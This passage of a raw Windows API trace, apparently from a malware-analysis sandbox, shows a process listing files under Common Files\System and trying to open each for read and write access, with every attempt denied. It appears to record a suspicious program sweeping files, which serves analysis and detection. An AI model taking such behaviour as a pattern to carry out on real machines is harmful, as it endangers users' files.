ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x92b8e84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaremr.dll.mui", cAlternateFileName="")) returned 0 [0152.801] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0152.803] GetProcessHeap () returned 0x2a0000 [0152.803] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0152.803] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cac9e93, ftCreationTime.dwHighDateTime=0x1c9ea0b, ftLastAccessTime.dwLowDateTime=0x2cac9e93, ftLastAccessTime.dwHighDateTime=0x1c9ea0b, ftLastWriteTime.dwLowDateTime=0x2cac9e93, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x206, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="handler.reg", cAlternateFileName="")) returned 1 [0152.803] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\handler.reg" (normalized: "c:\\program files\\common files\\system\\msadc\\handler.reg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.804] GetLastError () returned 0x5 [0152.804] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70a4b8b3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70a4b8b3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x2d63e7d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x24c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="handsafe.reg", cAlternateFileName="")) returned 1 [0152.804] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\handsafe.reg" (normalized: "c:\\program files\\common files\\system\\msadc\\handsafe.reg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.804] GetLastError () returned 0x5 [0152.804] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b36a80d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b36a80d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b6180d2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb7000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msadce.dll", cAlternateFileName="")) returned 1 [0152.804] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc13c33e, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfc13c33e, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80e1eed0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msadcer.dll", cAlternateFileName="")) returned 1 [0152.804] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a9e4ffc, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a9e4ffc, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a9e4ffc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1c000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msadcf.dll", cAlternateFileName="")) returned 1 [0152.804] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbf732e2, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfbf732e2, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80e6a9c0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msadcfr.dll", cAlternateFileName="")) returned 1 [0152.804] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a9bee9c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a9bee9c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a9e4ffc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3f000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msadco.dll", cAlternateFileName="")) returned 1 [0152.804] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc0a3dca, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfc0a3dca, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80edd5b0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msadcor.dll", cAlternateFileName="")) returned 1 [0152.804] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84872aa8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x84872aa8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x84872aa8, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msadcs.dll", cAlternateFileName="")) returned 1 [0152.804] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3801e6, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc3801e6, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x345eeb10, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x4a000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msadds.dll", cAlternateFileName="")) returned 1 [0152.804] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfce53b36, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfce53b36, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80fc2d90, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msaddsr.dll", cAlternateFileName="")) returned 1 [0152.804] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd7d9276, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfd7d9276, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x81dbdf30, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msdaprsr.dll", cAlternateFileName="")) returned 1 [0152.805] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0d295c, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc0d295c, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3497fc70, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x5f000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msdaprst.dll", cAlternateFileName="")) returned 1 [0152.805] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93fdbb10, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93fdbb10, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x94001c70, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3d000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msdarem.dll", cAlternateFileName="")) returned 1 [0152.805] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd6a878e, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfd6a878e, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x835d7620, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msdaremr.dll", cAlternateFileName="")) returned 1 [0152.805] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d95dfd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x99d95dfd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x99dbbf5d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msdfmap.dll", cAlternateFileName="")) returned 1 [0152.805] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d95dfd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x99d95dfd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x99dbbf5d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msdfmap.dll", cAlternateFileName="")) returned 0 [0152.805] FindClose (in: hFindFile=0x2c6260 | out: hFindFile=0x2c6260) returned 1 [0152.805] GetProcessHeap () returned 0x2a0000 [0152.805] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7d38 | out: hHeap=0x2a0000) returned 1 [0152.805] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSMAPI", cAlternateFileName="")) returned 1 [0152.805] GetProcessHeap () returned 0x2a0000 [0152.805] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x68) returned 0x2c22b0 [0152.805] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\*.*", lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c6260 [0152.807] GetProcessHeap () returned 0x2a0000 [0152.807] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c22b0 | out: hHeap=0x2a0000) returned 1 [0152.807] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0152.807] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 1 [0152.807] GetProcessHeap () returned 0x2a0000 [0152.807] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x26a) returned 0x2c7d38 [0152.807] GetProcessHeap () returned 0x2a0000 [0152.807] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x72) returned 0x2b9ae0 [0152.807] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0152.807] GetProcessHeap () returned 0x2a0000 [0152.807] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2b9ae0 | out: hHeap=0x2a0000) returned 1 [0152.807] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0152.807] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x324d2e00, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x324d2e00, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0xe580, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSMAPI32.DLL", cAlternateFileName="")) returned 1 [0152.808] GetProcessHeap () returned 0x2a0000 [0152.808] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x274) returned 0x2f32d0 [0152.808] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x324d2e00, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x324d2e00, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0xe580, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSMAPI32.DLL", cAlternateFileName="")) returned 0 [0152.808] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0152.808] GetProcessHeap () returned 0x2a0000 [0152.808] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0152.808] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 0 [0152.808] FindClose (in: hFindFile=0x2c6260 | out: hFindFile=0x2c6260) returned 1 [0152.808] GetProcessHeap () returned 0x2a0000 [0152.808] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7d38 | out: hHeap=0x2a0000) returned 1 [0152.809] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5f324e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f324e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Ole DB", cAlternateFileName="OLEDB~1")) returned 1 [0152.809] GetProcessHeap () returned 0x2a0000 [0152.809] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x68) returned 0x2c22b0 [0152.809] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\*.*", lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5f324e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f324e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c6260 [0152.811] GetProcessHeap () returned 0x2a0000 [0152.811] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c22b0 | out: hHeap=0x2a0000) returned 1 [0152.811] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5f324e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f324e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0152.811] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-US", cAlternateFileName="")) returned 1 [0152.811] GetProcessHeap () returned 0x2a0000 [0152.811] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x26a) returned 0x2c7d38 [0152.811] GetProcessHeap () returned 0x2a0000 [0152.811] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x74) returned 0x2b9ae0 [0152.811] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0152.811] GetProcessHeap () returned 0x2a0000 [0152.811] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2b9ae0 | out: hHeap=0x2a0000) returned 1 [0152.812] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0152.812] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb6d5cd, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xbeb51b3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xbb6d5cd, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msdasqlr.dll.mui", cAlternateFileName="")) returned 1 [0152.812] GetProcessHeap () returned 0x2a0000 [0152.812] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x276) returned 0x2f32d0 [0152.812] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\msdasqlr.dll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\msdasqlr.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.813] GetLastError () returned 0x5 [0152.813] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8aabb7e, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x8e65f8f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x8aabb7e, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xba00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="oledb32r.dll.mui", cAlternateFileName="")) returned 1 [0152.813] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\oledb32r.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.814] GetLastError () returned 0x5 [0152.814] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb93886, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xbeb51b3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xbb93886, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sqloledb.rll.mui", cAlternateFileName="")) returned 1 [0152.814] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqloledb.rll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.814] GetLastError () returned 0x5 [0152.814] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ad1e37, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x8e65f8f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x8ad1e37, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sqlxmlx.rll.mui", cAlternateFileName="")) returned 1 [0152.814] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqlxmlx.rll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.815] GetLastError () returned 0x5 [0152.815] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ad1e37, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x8e65f8f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x8ad1e37, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sqlxmlx.rll.mui", cAlternateFileName="")) returned 0 [0152.815] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0152.815] GetProcessHeap 